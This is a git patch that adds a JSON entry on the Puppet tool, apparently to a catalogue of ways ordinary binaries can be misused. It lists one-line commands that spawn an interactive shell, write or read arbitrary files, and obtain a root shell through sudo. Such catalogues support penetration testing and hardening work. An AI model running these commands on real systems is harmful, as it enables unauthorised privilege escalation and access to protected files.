From 18f4c9ac50ce50e594ae9062faa8bbf0158bc7a0 Mon Sep 17 00:00:00 2001 From: t0thkr1s Date: Fri, 10 Jan 2020 12:51:43 +0100 Subject: [PATCH] add data for puppet --- data/puppet.json | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) create mode 100644 data/puppet.json diff --git a/data/puppet.json b/data/puppet.json new file mode 100644 index 0000000..d7914cb --- /dev/null +++ b/data/puppet.json @@ -0,0 +1,26 @@ +{ + "functions": { + "shell": [ + { + "code": "puppet apply -e \"exec { '/bin/sh -c \\\"exec sh -i <$(tty) >$(tty) 2>$(tty)\\\"': }\"\n" + } + ], + "file-write": [ + { + "description": "The file path must be absolute.", + "code": "puppet apply -e \"file { '[file]': content => 'DATA' }\"\n" + } + ], + "file-read": [ + { + "description": "The read file content is corrupted by the `diff` output format. The actual '/usr/bin/diff' command is executed.", + "code": "puppet filebucket -l diff /dev/null [file]\n" + } + ], + "sudo": [ + { + "code": "sudo puppet apply -e \"exec { '/bin/sh -c \\\"exec sh -i <$(tty) >$(tty) 2>$(tty)\\\"': }\"\n" + } + ] + } +} \ No newline at end of file